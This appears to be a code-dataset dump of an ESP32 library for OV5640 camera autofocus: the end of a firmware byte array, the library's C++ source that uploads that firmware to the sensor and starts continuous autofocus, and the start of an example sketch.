0xa3, 0xe0, 0xfd, 0xed, 0xff, 0xc3, 0x12, 0x0b, 0x9e, 0x90, 0x38, 0x12, 0x12, 0x0b, 0x92, 0xa3, //0x8700,
0xe0, 0xb4, 0x31, 0x07, 0x78, 0x52, 0x79, 0x52, 0x12, 0x0c, 0x13, 0x90, 0x38, 0x14, 0xe0, 0xb4, //0x8710,
0x71, 0x15, 0x78, 0x52, 0xe6, 0xfe, 0x08, 0xe6, 0x78, 0x02, 0xce, 0xc3, 0x13, 0xce, 0x13, 0xd8, //0x8720,
0xf9, 0x79, 0x53, 0xf7, 0xee, 0x19, 0xf7, 0x90, 0x38, 0x15, 0xe0, 0xb4, 0x31, 0x07, 0x78, 0x54, //0x8730,
0x79, 0x54, 0x12, 0x0c, 0x13, 0x90, 0x38, 0x15, 0xe0, 0xb4, 0x71, 0x15, 0x78, 0x54, 0xe6, 0xfe, //0x8740,
0x08, 0xe6, 0x78, 0x02, 0xce, 0xc3, 0x13, 0xce, 0x13, 0xd8, 0xf9, 0x79, 0x55, 0xf7, 0xee, 0x19, //0x8750,
0xf7, 0x79, 0x52, 0x12, 0x0b, 0xd9, 0x09, 0x12, 0x0b, 0xd9, 0xaf, 0x47, 0x12, 0x0b, 0xb2, 0xe5, //0x8760,
0x44, 0xfb, 0x7a, 0x00, 0xfd, 0x7c, 0x00, 0x12, 0x04, 0xd3, 0x78, 0x5a, 0xa6, 0x06, 0x08, 0xa6, //0x8770,
0x07, 0xaf, 0x45, 0x12, 0x0b, 0xb2, 0xad, 0x03, 0x7c, 0x00, 0x12, 0x04, 0xd3, 0x78, 0x56, 0xa6, //0x8780,
0x06, 0x08, 0xa6, 0x07, 0xaf, 0x48, 0x78, 0x54, 0x12, 0x0b, 0xb4, 0xe5, 0x43, 0xfb, 0xfd, 0x7c, //0x8790,
0x00, 0x12, 0x04, 0xd3, 0x78, 0x5c, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0xaf, 0x46, 0x7e, 0x00, 0x78, //0x87a0,
0x54, 0x12, 0x0b, 0xb6, 0xad, 0x03, 0x7c, 0x00, 0x12, 0x04, 0xd3, 0x78, 0x58, 0xa6, 0x06, 0x08, //0x87b0,
0xa6, 0x07, 0xc3, 0x78, 0x5b, 0xe6, 0x94, 0x08, 0x18, 0xe6, 0x94, 0x00, 0x50, 0x05, 0x76, 0x00, //0x87c0,
0x08, 0x76, 0x08, 0xc3, 0x78, 0x5d, 0xe6, 0x94, 0x08, 0x18, 0xe6, 0x94, 0x00, 0x50, 0x05, 0x76, //0x87d0,
0x00, 0x08, 0x76, 0x08, 0x78, 0x5a, 0x12, 0x0b, 0xc6, 0xff, 0xd3, 0x78, 0x57, 0xe6, 0x9f, 0x18, //0x87e0,
0xe6, 0x9e, 0x40, 0x0e, 0x78, 0x5a, 0xe6, 0x13, 0xfe, 0x08, 0xe6, 0x78, 0x57, 0x12, 0x0c, 0x08, //0x87f0,
0x80, 0x04, 0x7e, 0x00, 0x7f, 0x00, 0x78, 0x5e, 0x12, 0x0b, 0xbe, 0xff, 0xd3, 0x78, 0x59, 0xe6, //0x8800,
0x9f, 0x18, 0xe6, 0x9e, 0x40, 0x0e, 0x78, 0x5c, 0xe6, 0x13, 0xfe, 0x08, 0xe6, 0x78, 0x59, 0x12, //0x8810,
0x0c, 0x08, 0x80, 0x04, 0x7e, 0x00, 0x7f, 0x00, 0xe4, 0xfc, 0xfd, 0x78, 0x62, 0x12, 0x06, 0x99, //0x8820,
0x78, 0x5a, 0x12, 0x0b, 0xc6, 0x78, 0x57, 0x26, 0xff, 0xee, 0x18, 0x36, 0xfe, 0x78, 0x66, 0x12, //0x8830,
0x0b, 0xbe, 0x78, 0x59, 0x26, 0xff, 0xee, 0x18, 0x36, 0xfe, 0xe4, 0xfc, 0xfd, 0x78, 0x6a, 0x12, //0x8840,
0x06, 0x99, 0x12, 0x0b, 0xce, 0x78, 0x66, 0x12, 0x06, 0x8c, 0xd3, 0x12, 0x06, 0x45, 0x40, 0x08, //0x8850,
0x12, 0x0b, 0xce, 0x78, 0x66, 0x12, 0x06, 0x99, 0x78, 0x54, 0x12, 0x0b, 0xd0, 0x78, 0x6a, 0x12, //0x8860,
0x06, 0x8c, 0xd3, 0x12, 0x06, 0x45, 0x40, 0x0a, 0x78, 0x54, 0x12, 0x0b, 0xd0, 0x78, 0x6a, 0x12, //0x8870,
0x06, 0x99, 0x78, 0x61, 0xe6, 0x90, 0x60, 0x01, 0xf0, 0x78, 0x65, 0xe6, 0xa3, 0xf0, 0x78, 0x69, //0x8880,
0xe6, 0xa3, 0xf0, 0x78, 0x55, 0xe6, 0xa3, 0xf0, 0x7d, 0x01, 0x78, 0x61, 0x12, 0x0b, 0xe9, 0x24, //0x8890,
0x01, 0x12, 0x0b, 0xa6, 0x78, 0x65, 0x12, 0x0b, 0xe9, 0x24, 0x02, 0x12, 0x0b, 0xa6, 0x78, 0x69, //0x88a0,
0x12, 0x0b, 0xe9, 0x24, 0x03, 0x12, 0x0b, 0xa6, 0x78, 0x6d, 0x12, 0x0b, 0xe9, 0x24, 0x04, 0x12, //0x88b0,
0x0b, 0xa6, 0x0d, 0xbd, 0x05, 0xd4, 0xc2, 0x0e, 0xc2, 0x06, 0x22, 0x85, 0x08, 0x41, 0x90, 0x30, //0x88c0,
0x24, 0xe0, 0xf5, 0x3d, 0xa3, 0xe0, 0xf5, 0x3e, 0xa3, 0xe0, 0xf5, 0x3f, 0xa3, 0xe0, 0xf5, 0x40, //0x88d0,
0xa3, 0xe0, 0xf5, 0x3c, 0xd2, 0x34, 0xe5, 0x41, 0x12, 0x06, 0xb1, 0x09, 0x31, 0x03, 0x09, 0x35, //0x88e0,
0x04, 0x09, 0x3b, 0x05, 0x09, 0x3e, 0x06, 0x09, 0x41, 0x07, 0x09, 0x4a, 0x08, 0x09, 0x5b, 0x12, //0x88f0,
0x09, 0x73, 0x18, 0x09, 0x89, 0x19, 0x09, 0x5e, 0x1a, 0x09, 0x6a, 0x1b, 0x09, 0xad, 0x80, 0x09, //0x8900,
0xb2, 0x81, 0x0a, 0x1d, 0x8f, 0x0a, 0x09, 0x90, 0x0a, 0x1d, 0x91, 0x0a, 0x1d, 0x92, 0x0a, 0x1d, //0x8910,
0x93, 0x0a, 0x1d, 0x94, 0x0a, 0x1d, 0x98, 0x0a, 0x17, 0x9f, 0x0a, 0x1a, 0xec, 0x00, 0x00, 0x0a, //0x8920,
0x38, 0x12, 0x0f, 0x74, 0x22, 0x12, 0x0f, 0x74, 0xd2, 0x03, 0x22, 0xd2, 0x03, 0x22, 0xc2, 0x03, //0x8930,
0x22, 0xa2, 0x37, 0xe4, 0x33, 0xf5, 0x3c, 0x02, 0x0a, 0x1d, 0xc2, 0x01, 0xc2, 0x02, 0xc2, 0x03, //0x8940,
0x12, 0x0d, 0x0d, 0x75, 0x1e, 0x70, 0xd2, 0x35, 0x02, 0x0a, 0x1d, 0x02, 0x0a, 0x04, 0x85, 0x40, //0x8950,
0x4a, 0x85, 0x3c, 0x4b, 0x12, 0x0a, 0xff, 0x02, 0x0a, 0x1d, 0x85, 0x4a, 0x40, 0x85, 0x4b, 0x3c, //0x8960,
0x02, 0x0a, 0x1d, 0xe4, 0xf5, 0x22, 0xf5, 0x23, 0x85, 0x40, 0x31, 0x85, 0x3f, 0x30, 0x85, 0x3e, //0x8970,
0x2f, 0x85, 0x3d, 0x2e, 0x12, 0x0f, 0x46, 0x80, 0x1f, 0x75, 0x22, 0x00, 0x75, 0x23, 0x01, 0x74, //0x8980,
0xff, 0xf5, 0x2d, 0xf5, 0x2c, 0xf5, 0x2b, 0xf5, 0x2a, 0x12, 0x0f, 0x46, 0x85, 0x2d, 0x40, 0x85, //0x8990,
0x2c, 0x3f, 0x85, 0x2b, 0x3e, 0x85, 0x2a, 0x3d, 0xe4, 0xf5, 0x3c, 0x80, 0x70, 0x12, 0x0f, 0x16, //0x89a0,
0x80, 0x6b, 0x85, 0x3d, 0x45, 0x85, 0x3e, 0x46, 0xe5, 0x47, 0xc3, 0x13, 0xff, 0xe5, 0x45, 0xc3, //0x89b0,
0x9f, 0x50, 0x02, 0x8f, 0x45, 0xe5, 0x48, 0xc3, 0x13, 0xff, 0xe5, 0x46, 0xc3, 0x9f, 0x50, 0x02, //0x89c0,
0x8f, 0x46, 0xe5, 0x47, 0xc3, 0x13, 0xff, 0xfd, 0xe5, 0x45, 0x2d, 0xfd, 0xe4, 0x33, 0xfc, 0xe5, //0x89d0,
0x44, 0x12, 0x0f, 0x90, 0x40, 0x05, 0xe5, 0x44, 0x9f, 0xf5, 0x45, 0xe5, 0x48, 0xc3, 0x13, 0xff, //0x89e0,
0xfd, 0xe5, 0x46, 0x2d, 0xfd, 0xe4, 0x33, 0xfc, 0xe5, 0x43, 0x12, 0x0f, 0x90, 0x40, 0x05, 0xe5, //0x89f0,
0x43, 0x9f, 0xf5, 0x46, 0x12, 0x06, 0xd7, 0x80, 0x14, 0x85, 0x40, 0x48, 0x85, 0x3f, 0x47, 0x85, //0x8a00,
0x3e, 0x46, 0x85, 0x3d, 0x45, 0x80, 0x06, 0x02, 0x06, 0xd7, 0x12, 0x0d, 0x7e, 0x90, 0x30, 0x24, //0x8a10,
0xe5, 0x3d, 0xf0, 0xa3, 0xe5, 0x3e, 0xf0, 0xa3, 0xe5, 0x3f, 0xf0, 0xa3, 0xe5, 0x40, 0xf0, 0xa3, //0x8a20,
0xe5, 0x3c, 0xf0, 0x90, 0x30, 0x23, 0xe4, 0xf0, 0x22, 0xc0, 0xe0, 0xc0, 0x83, 0xc0, 0x82, 0xc0, //0x8a30,
0xd0, 0x90, 0x3f, 0x0c, 0xe0, 0xf5, 0x32, 0xe5, 0x32, 0x30, 0xe3, 0x74, 0x30, 0x36, 0x66, 0x90, //0x8a40,
0x60, 0x19, 0xe0, 0xf5, 0x0a, 0xa3, 0xe0, 0xf5, 0x0b, 0x90, 0x60, 0x1d, 0xe0, 0xf5, 0x14, 0xa3, //0x8a50,
0xe0, 0xf5, 0x15, 0x90, 0x60, 0x21, 0xe0, 0xf5, 0x0c, 0xa3, 0xe0, 0xf5, 0x0d, 0x90, 0x60, 0x29, //0x8a60,
0xe0, 0xf5, 0x0e, 0xa3, 0xe0, 0xf5, 0x0f, 0x90, 0x60, 0x31, 0xe0, 0xf5, 0x10, 0xa3, 0xe0, 0xf5, //0x8a70,
0x11, 0x90, 0x60, 0x39, 0xe0, 0xf5, 0x12, 0xa3, 0xe0, 0xf5, 0x13, 0x30, 0x01, 0x06, 0x30, 0x33, //0x8a80,
0x03, 0xd3, 0x80, 0x01, 0xc3, 0x92, 0x09, 0x30, 0x02, 0x06, 0x30, 0x33, 0x03, 0xd3, 0x80, 0x01, //0x8a90,
0xc3, 0x92, 0x0a, 0x30, 0x33, 0x0c, 0x30, 0x03, 0x09, 0x20, 0x02, 0x06, 0x20, 0x01, 0x03, 0xd3, //0x8aa0,
0x80, 0x01, 0xc3, 0x92, 0x0b, 0x90, 0x30, 0x01, 0xe0, 0x44, 0x40, 0xf0, 0xe0, 0x54, 0xbf, 0xf0, //0x8ab0,
0xe5, 0x32, 0x30, 0xe1, 0x14, 0x30, 0x34, 0x11, 0x90, 0x30, 0x22, 0xe0, 0xf5, 0x08, 0xe4, 0xf0, //0x8ac0,
0x30, 0x00, 0x03, 0xd3, 0x80, 0x01, 0xc3, 0x92, 0x08, 0xe5, 0x32, 0x30, 0xe5, 0x12, 0x90, 0x56, //0x8ad0,
0xa1, 0xe0, 0xf5, 0x09, 0x30, 0x31, 0x09, 0x30, 0x05, 0x03, 0xd3, 0x80, 0x01, 0xc3, 0x92, 0x0d, //0x8ae0,
0x90, 0x3f, 0x0c, 0xe5, 0x32, 0xf0, 0xd0, 0xd0, 0xd0, 0x82, 0xd0, 0x83, 0xd0, 0xe0, 0x32, 0x90, //0x8af0,
0x0e, 0x7e, 0xe4, 0x93, 0xfe, 0x74, 0x01, 0x93, 0xff, 0xc3, 0x90, 0x0e, 0x7c, 0x74, 0x01, 0x93, //0x8b00,
0x9f, 0xff, 0xe4, 0x93, 0x9e, 0xfe, 0xe4, 0x8f, 0x3b, 0x8e, 0x3a, 0xf5, 0x39, 0xf5, 0x38, 0xab, //0x8b10,
0x3b, 0xaa, 0x3a, 0xa9, 0x39, 0xa8, 0x38, 0xaf, 0x4b, 0xfc, 0xfd, 0xfe, 0x12, 0x05, 0x28, 0x12, //0x8b20,
0x0d, 0xe1, 0xe4, 0x7b, 0xff, 0xfa, 0xf9, 0xf8, 0x12, 0x05, 0xb3, 0x12, 0x0d, 0xe1, 0x90, 0x0e, //0x8b30,
0x69, 0xe4, 0x12, 0x0d, 0xf6, 0x12, 0x0d, 0xe1, 0xe4, 0x85, 0x4a, 0x37, 0xf5, 0x36, 0xf5, 0x35, //0x8b40,
0xf5, 0x34, 0xaf, 0x37, 0xae, 0x36, 0xad, 0x35, 0xac, 0x34, 0xa3, 0x12, 0x0d, 0xf6, 0x8f, 0x37, //0x8b50,
0x8e, 0x36, 0x8d, 0x35, 0x8c, 0x34, 0xe5, 0x3b, 0x45, 0x37, 0xf5, 0x3b, 0xe5, 0x3a, 0x45, 0x36, //0x8b60,
0xf5, 0x3a, 0xe5, 0x39, 0x45, 0x35, 0xf5, 0x39, 0xe5, 0x38, 0x45, 0x34, 0xf5, 0x38, 0xe4, 0xf5, //0x8b70,
0x22, 0xf5, 0x23, 0x85, 0x3b, 0x31, 0x85, 0x3a, 0x30, 0x85, 0x39, 0x2f, 0x85, 0x38, 0x2e, 0x02, //0x8b80,
0x0f, 0x46, 0xe0, 0xa3, 0xe0, 0x75, 0xf0, 0x02, 0xa4, 0xff, 0xae, 0xf0, 0xc3, 0x08, 0xe6, 0x9f, //0x8b90,
0xf6, 0x18, 0xe6, 0x9e, 0xf6, 0x22, 0xff, 0xe5, 0xf0, 0x34, 0x60, 0x8f, 0x82, 0xf5, 0x83, 0xec, //0x8ba0,
0xf0, 0x22, 0x78, 0x52, 0x7e, 0x00, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0x02, 0x04, 0xc1, 0xe4, 0xfc, //0x8bb0,
0xfd, 0x12, 0x06, 0x99, 0x78, 0x5c, 0xe6, 0xc3, 0x13, 0xfe, 0x08, 0xe6, 0x13, 0x22, 0x78, 0x52, //0x8bc0,
0xe6, 0xfe, 0x08, 0xe6, 0xff, 0xe4, 0xfc, 0xfd, 0x22, 0xe7, 0xc4, 0xf8, 0x54, 0xf0, 0xc8, 0x68, //0x8bd0,
0xf7, 0x09, 0xe7, 0xc4, 0x54, 0x0f, 0x48, 0xf7, 0x22, 0xe6, 0xfc, 0xed, 0x75, 0xf0, 0x04, 0xa4, //0x8be0,
0x22, 0x12, 0x06, 0x7c, 0x8f, 0x48, 0x8e, 0x47, 0x8d, 0x46, 0x8c, 0x45, 0x22, 0xe0, 0xfe, 0xa3, //0x8bf0,
0xe0, 0xfd, 0xee, 0xf6, 0xed, 0x08, 0xf6, 0x22, 0x13, 0xff, 0xc3, 0xe6, 0x9f, 0xff, 0x18, 0xe6, //0x8c00,
0x9e, 0xfe, 0x22, 0xe6, 0xc3, 0x13, 0xf7, 0x08, 0xe6, 0x13, 0x09, 0xf7, 0x22, 0xad, 0x39, 0xac, //0x8c10,
0x38, 0xfa, 0xf9, 0xf8, 0x12, 0x05, 0x28, 0x8f, 0x3b, 0x8e, 0x3a, 0x8d, 0x39, 0x8c, 0x38, 0xab, //0x8c20,
0x37, 0xaa, 0x36, 0xa9, 0x35, 0xa8, 0x34, 0x22, 0x93, 0xff, 0xe4, 0xfc, 0xfd, 0xfe, 0x12, 0x05, //0x8c30,
0x28, 0x8f, 0x37, 0x8e, 0x36, 0x8d, 0x35, 0x8c, 0x34, 0x22, 0x78, 0x84, 0xe6, 0xfe, 0x08, 0xe6, //0x8c40,
0xff, 0xe4, 0x8f, 0x37, 0x8e, 0x36, 0xf5, 0x35, 0xf5, 0x34, 0x22, 0x90, 0x0e, 0x8c, 0xe4, 0x93, //0x8c50,
0x25, 0xe0, 0x24, 0x0a, 0xf8, 0xe6, 0xfe, 0x08, 0xe6, 0xff, 0x22, 0xe6, 0xfe, 0x08, 0xe6, 0xff, //0x8c60,
0xe4, 0x8f, 0x3b, 0x8e, 0x3a, 0xf5, 0x39, 0xf5, 0x38, 0x22, 0x78, 0x4e, 0xe6, 0xfe, 0x08, 0xe6, //0x8c70,
0xff, 0x22, 0xef, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0x22, 0x78, 0x89, //0x8c80,
0xef, 0x26, 0xf6, 0x18, 0xe4, 0x36, 0xf6, 0x22, 0x75, 0x89, 0x03, 0x75, 0xa8, 0x01, 0x75, 0xb8, //0x8c90,
0x04, 0x75, 0x34, 0xff, 0x75, 0x35, 0x0e, 0x75, 0x36, 0x15, 0x75, 0x37, 0x0d, 0x12, 0x0e, 0x9a, //0x8ca0,
0x12, 0x00, 0x09, 0x12, 0x0f, 0x16, 0x12, 0x00, 0x06, 0xd2, 0x00, 0xd2, 0x34, 0xd2, 0xaf, 0x75, //0x8cb0,
0x34, 0xff, 0x75, 0x35, 0x0e, 0x75, 0x36, 0x49, 0x75, 0x37, 0x03, 0x12, 0x0e, 0x9a, 0x30, 0x08, //0x8cc0,
0x09, 0xc2, 0x34, 0x12, 0x08, 0xcb, 0xc2, 0x08, 0xd2, 0x34, 0x30, 0x0b, 0x09, 0xc2, 0x36, 0x12, //0x8cd0,
0x02, 0x6c, 0xc2, 0x0b, 0xd2, 0x36, 0x30, 0x09, 0x09, 0xc2, 0x36, 0x12, 0x00, 0x0e, 0xc2, 0x09, //0x8ce0,
0xd2, 0x36, 0x30, 0x0e, 0x03, 0x12, 0x06, 0xd7, 0x30, 0x35, 0xd3, 0x90, 0x30, 0x29, 0xe5, 0x1e, //0x8cf0,
0xf0, 0xb4, 0x10, 0x05, 0x90, 0x30, 0x23, 0xe4, 0xf0, 0xc2, 0x35, 0x80, 0xc1, 0xe4, 0xf5, 0x4b, //0x8d00,
0x90, 0x0e, 0x7a, 0x93, 0xff, 0xe4, 0x8f, 0x37, 0xf5, 0x36, 0xf5, 0x35, 0xf5, 0x34, 0xaf, 0x37, //0x8d10,
0xae, 0x36, 0xad, 0x35, 0xac, 0x34, 0x90, 0x0e, 0x6a, 0x12, 0x0d, 0xf6, 0x8f, 0x37, 0x8e, 0x36, //0x8d20,
0x8d, 0x35, 0x8c, 0x34, 0x90, 0x0e, 0x72, 0x12, 0x06, 0x7c, 0xef, 0x45, 0x37, 0xf5, 0x37, 0xee, //0x8d30,
0x45, 0x36, 0xf5, 0x36, 0xed, 0x45, 0x35, 0xf5, 0x35, 0xec, 0x45, 0x34, 0xf5, 0x34, 0xe4, 0xf5, //0x8d40,
0x22, 0xf5, 0x23, 0x85, 0x37, 0x31, 0x85, 0x36, 0x30, 0x85, 0x35, 0x2f, 0x85, 0x34, 0x2e, 0x12, //0x8d50,
0x0f, 0x46, 0xe4, 0xf5, 0x22, 0xf5, 0x23, 0x90, 0x0e, 0x72, 0x12, 0x0d, 0xea, 0x12, 0x0f, 0x46, //0x8d60,
0xe4, 0xf5, 0x22, 0xf5, 0x23, 0x90, 0x0e, 0x6e, 0x12, 0x0d, 0xea, 0x02, 0x0f, 0x46, 0xe5, 0x40, //0x8d70,
0x24, 0xf2, 0xf5, 0x37, 0xe5, 0x3f, 0x34, 0x43, 0xf5, 0x36, 0xe5, 0x3e, 0x34, 0xa2, 0xf5, 0x35, //0x8d80,
0xe5, 0x3d, 0x34, 0x28, 0xf5, 0x34, 0xe5, 0x37, 0xff, 0xe4, 0xfe, 0xfd, 0xfc, 0x78, 0x18, 0x12, //0x8d90,
0x06, 0x69, 0x8f, 0x40, 0x8e, 0x3f, 0x8d, 0x3e, 0x8c, 0x3d, 0xe5, 0x37, 0x54, 0xa0, 0xff, 0xe5, //0x8da0,
0x36, 0xfe, 0xe4, 0xfd, 0xfc, 0x78, 0x07, 0x12, 0x06, 0x56, 0x78, 0x10, 0x12, 0x0f, 0x9a, 0xe4, //0x8db0,
0xff, 0xfe, 0xe5, 0x35, 0xfd, 0xe4, 0xfc, 0x78, 0x0e, 0x12, 0x06, 0x56, 0x12, 0x0f, 0x9d, 0xe4, //0x8dc0,
0xff, 0xfe, 0xfd, 0xe5, 0x34, 0xfc, 0x78, 0x18, 0x12, 0x06, 0x56, 0x78, 0x08, 0x12, 0x0f, 0x9a, //0x8dd0,
0x22, 0x8f, 0x3b, 0x8e, 0x3a, 0x8d, 0x39, 0x8c, 0x38, 0x22, 0x12, 0x06, 0x7c, 0x8f, 0x31, 0x8e, //0x8de0,
0x30, 0x8d, 0x2f, 0x8c, 0x2e, 0x22, 0x93, 0xf9, 0xf8, 0x02, 0x06, 0x69, 0x00, 0x00, 0x00, 0x00, //0x8df0,
0x12, 0x01, 0x17, 0x08, 0x31, 0x15, 0x53, 0x54, 0x44, 0x20, 0x20, 0x20, 0x20, 0x20, 0x13, 0x01, //0x8e00,
0x10, 0x01, 0x56, 0x40, 0x1a, 0x30, 0x29, 0x7e, 0x00, 0x30, 0x04, 0x20, 0xdf, 0x30, 0x05, 0x40, //0x8e10,
0xbf, 0x50, 0x03, 0x00, 0xfd, 0x50, 0x27, 0x01, 0xfe, 0x60, 0x00, 0x11, 0x00, 0x3f, 0x05, 0x30, //0x8e20,
0x00, 0x3f, 0x06, 0x22, 0x00, 0x3f, 0x01, 0x2a, 0x00, 0x3f, 0x02, 0x00, 0x00, 0x36, 0x06, 0x07, //0x8e30,
0x00, 0x3f, 0x0b, 0x0f, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x40, 0xbf, 0x30, 0x01, 0x00, //0x8e40,
0xbf, 0x30, 0x29, 0x70, 0x00, 0x3a, 0x00, 0x00, 0xff, 0x3a, 0x00, 0x00, 0xff, 0x36, 0x03, 0x36, //0x8e50,
0x02, 0x41, 0x44, 0x58, 0x20, 0x18, 0x10, 0x0a, 0x04, 0x04, 0x00, 0x03, 0xff, 0x64, 0x00, 0x00, //0x8e60,
0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x06, 0x06, 0x00, 0x03, 0x51, 0x00, 0x7a, //0x8e70,
0x50, 0x3c, 0x28, 0x1e, 0x10, 0x10, 0x50, 0x2d, 0x28, 0x16, 0x10, 0x10, 0x02, 0x00, 0x10, 0x0c, //0x8e80,
0x10, 0x04, 0x0c, 0x6e, 0x06, 0x05, 0x00, 0xa5, 0x5a, 0x00, 0xae, 0x35, 0xaf, 0x36, 0xe4, 0xfd, //0x8e90,
0xed, 0xc3, 0x95, 0x37, 0x50, 0x33, 0x12, 0x0f, 0xe2, 0xe4, 0x93, 0xf5, 0x38, 0x74, 0x01, 0x93, //0x8ea0,
0xf5, 0x39, 0x45, 0x38, 0x60, 0x23, 0x85, 0x39, 0x82, 0x85, 0x38, 0x83, 0xe0, 0xfc, 0x12, 0x0f, //0x8eb0,
0xe2, 0x74, 0x03, 0x93, 0x52, 0x04, 0x12, 0x0f, 0xe2, 0x74, 0x02, 0x93, 0x42, 0x04, 0x85, 0x39, //0x8ec0,
0x82, 0x85, 0x38, 0x83, 0xec, 0xf0, 0x0d, 0x80, 0xc7, 0x22, 0x78, 0xbe, 0xe6, 0xd3, 0x08, 0xff, //0x8ed0,
0xe6, 0x64, 0x80, 0xf8, 0xef, 0x64, 0x80, 0x98, 0x22, 0x93, 0xff, 0x7e, 0x00, 0xe6, 0xfc, 0x08, //0x8ee0,
0xe6, 0xfd, 0x12, 0x04, 0xc1, 0x78, 0xc1, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0xd3, 0xef, 0x9d, 0xee, //0x8ef0,
0x9c, 0x22, 0x78, 0xbd, 0xd3, 0xe6, 0x64, 0x80, 0x94, 0x80, 0x22, 0x25, 0xe0, 0x24, 0x0a, 0xf8, //0x8f00,
0xe6, 0xfe, 0x08, 0xe6, 0xff, 0x22, 0xe5, 0x3c, 0xd3, 0x94, 0x00, 0x40, 0x0b, 0x90, 0x0e, 0x88, //0x8f10,
0x12, 0x0b, 0xf1, 0x90, 0x0e, 0x86, 0x80, 0x09, 0x90, 0x0e, 0x82, 0x12, 0x0b, 0xf1, 0x90, 0x0e, //0x8f20,
0x80, 0xe4, 0x93, 0xf5, 0x44, 0xa3, 0xe4, 0x93, 0xf5, 0x43, 0xd2, 0x06, 0x30, 0x06, 0x03, 0xd3, //0x8f30,
0x80, 0x01, 0xc3, 0x92, 0x0e, 0x22, 0xa2, 0xaf, 0x92, 0x32, 0xc2, 0xaf, 0xe5, 0x23, 0x45, 0x22, //0x8f40,
0x90, 0x0e, 0x5d, 0x60, 0x0e, 0x12, 0x0f, 0xcb, 0xe0, 0xf5, 0x2c, 0x12, 0x0f, 0xc8, 0xe0, 0xf5, //0x8f50,
0x2d, 0x80, 0x0c, 0x12, 0x0f, 0xcb, 0xe5, 0x30, 0xf0, 0x12, 0x0f, 0xc8, 0xe5, 0x31, 0xf0, 0xa2, //0x8f60,
0x32, 0x92, 0xaf, 0x22, 0xd2, 0x01, 0xc2, 0x02, 0xe4, 0xf5, 0x1f, 0xf5, 0x1e, 0xd2, 0x35, 0xd2, //0x8f70,
0x33, 0xd2, 0x36, 0xd2, 0x01, 0xc2, 0x02, 0xf5, 0x1f, 0xf5, 0x1e, 0xd2, 0x35, 0xd2, 0x33, 0x22, //0x8f80,
0xfb, 0xd3, 0xed, 0x9b, 0x74, 0x80, 0xf8, 0x6c, 0x98, 0x22, 0x12, 0x06, 0x69, 0xe5, 0x40, 0x2f, //0x8f90,
0xf5, 0x40, 0xe5, 0x3f, 0x3e, 0xf5, 0x3f, 0xe5, 0x3e, 0x3d, 0xf5, 0x3e, 0xe5, 0x3d, 0x3c, 0xf5, //0x8fa0,
0x3d, 0x22, 0xc0, 0xe0, 0xc0, 0x83, 0xc0, 0x82, 0x90, 0x3f, 0x0d, 0xe0, 0xf5, 0x33, 0xe5, 0x33, //0x8fb0,
0xf0, 0xd0, 0x82, 0xd0, 0x83, 0xd0, 0xe0, 0x32, 0x90, 0x0e, 0x5f, 0xe4, 0x93, 0xfe, 0x74, 0x01, //0x8fc0,
0x93, 0xf5, 0x82, 0x8e, 0x83, 0x22, 0x78, 0x7f, 0xe4, 0xf6, 0xd8, 0xfd, 0x75, 0x81, 0xcd, 0x02, //0x8fd0,
0x0c, 0x98, 0x8f, 0x82, 0x8e, 0x83, 0x75, 0xf0, 0x04, 0xed, 0x02, 0x06, 0xa5, //0x8fe0
};
|
0015/ESP32-OV5640-AF
| 2,413 |
src/ESP32_OV5640_AF.cpp
|
/*
ESP32_OV5640_AF.cpp - Library for OV5640 Auto Focus (ESP32 Camera)
Created by Eric Nam, December 08, 2021.
Released into the public domain.
*/
#include "ESP32_OV5640_AF.h"
OV5640::OV5640() {
isOV5640 = false;
}
bool OV5640::start(sensor_t* _sensor) {
sensor = _sensor;
uint8_t vid, pid;
vid = sensor->get_reg(sensor, OV5640_CHIPID_HIGH, 0xff);
pid = sensor->get_reg(sensor, OV5640_CHIPID_LOW, 0xff);
isOV5640 = (vid == 0x56) && (pid == 0x40);
return isOV5640;
}
uint8_t OV5640::focusInit() {
if (!isOV5640) return -1;
uint16_t i;
uint16_t addr = 0x8000;
uint8_t state = 0x8F;
uint8_t rc = 0;
rc = sensor->set_reg(sensor, 0x3000, 0xff, 0x20); //reset
if (rc < 0) return -1;
for (i = 0; i < sizeof(OV5640_AF_Config); i++) {
rc = sensor->set_reg(sensor, addr, 0xff, OV5640_AF_Config[i]);
if (rc < 0) return -1;
addr++;
}
sensor->set_reg(sensor, OV5640_CMD_MAIN, 0xff, 0x00);
sensor->set_reg(sensor, OV5640_CMD_ACK, 0xff, 0x00);
sensor->set_reg(sensor, OV5640_CMD_PARA0, 0xff, 0x00);
sensor->set_reg(sensor, OV5640_CMD_PARA1, 0xff, 0x00);
sensor->set_reg(sensor, OV5640_CMD_PARA2, 0xff, 0x00);
sensor->set_reg(sensor, OV5640_CMD_PARA3, 0xff, 0x00);
sensor->set_reg(sensor, OV5640_CMD_PARA4, 0xff, 0x00);
sensor->set_reg(sensor, OV5640_CMD_FW_STATUS, 0xff, 0x7f);
sensor->set_reg(sensor, 0x3000, 0xff, 0x00);
i = 0;
do {
state = sensor->get_reg(sensor, 0x3029, 0xff);
delay(5);
i++;
if (i > 1000) return 1;
} while (state != FW_STATUS_S_IDLE);
return 0;
}
uint8_t OV5640::autoFocusMode() {
if (!isOV5640) return -1;
uint8_t rc = 0;
uint8_t temp = 0;
uint16_t retry = 0;
rc = sensor->set_reg(sensor, OV5640_CMD_MAIN, 0xff, 0x01);
rc = sensor->set_reg(sensor, OV5640_CMD_MAIN, 0xff, 0x08);
do {
temp = sensor->get_reg(sensor, OV5640_CMD_ACK, 0xff);
retry++;
if (retry > 1000) return 2;
delay(5);
} while (temp != 0x00);
rc = sensor->set_reg(sensor, OV5640_CMD_ACK, 0xff, 0x01);
rc = sensor->set_reg(sensor, OV5640_CMD_MAIN, 0xff, AF_CONTINUE_AUTO_FOCUS);
retry = 0;
do {
temp = sensor->get_reg(sensor, OV5640_CMD_ACK, 0xff);
retry++;
if (retry > 1000) return 2;
delay(5);
} while (temp != 0x00);
return 0;
}
uint8_t OV5640::getFWStatus() {
if (!isOV5640) return -1;
uint8_t rc = sensor->get_reg(sensor, OV5640_CMD_FW_STATUS, 0xff);
return rc;
}
|
0015/ESP32-OV5640-AF
| 2,478 |
examples/OV5640_Console_Test/OV5640_Console_Test.ino
|
#include "esp_camera.h"
#include "ESP32_OV5640_AF.h"
// ESP32 AI-THINKER Board
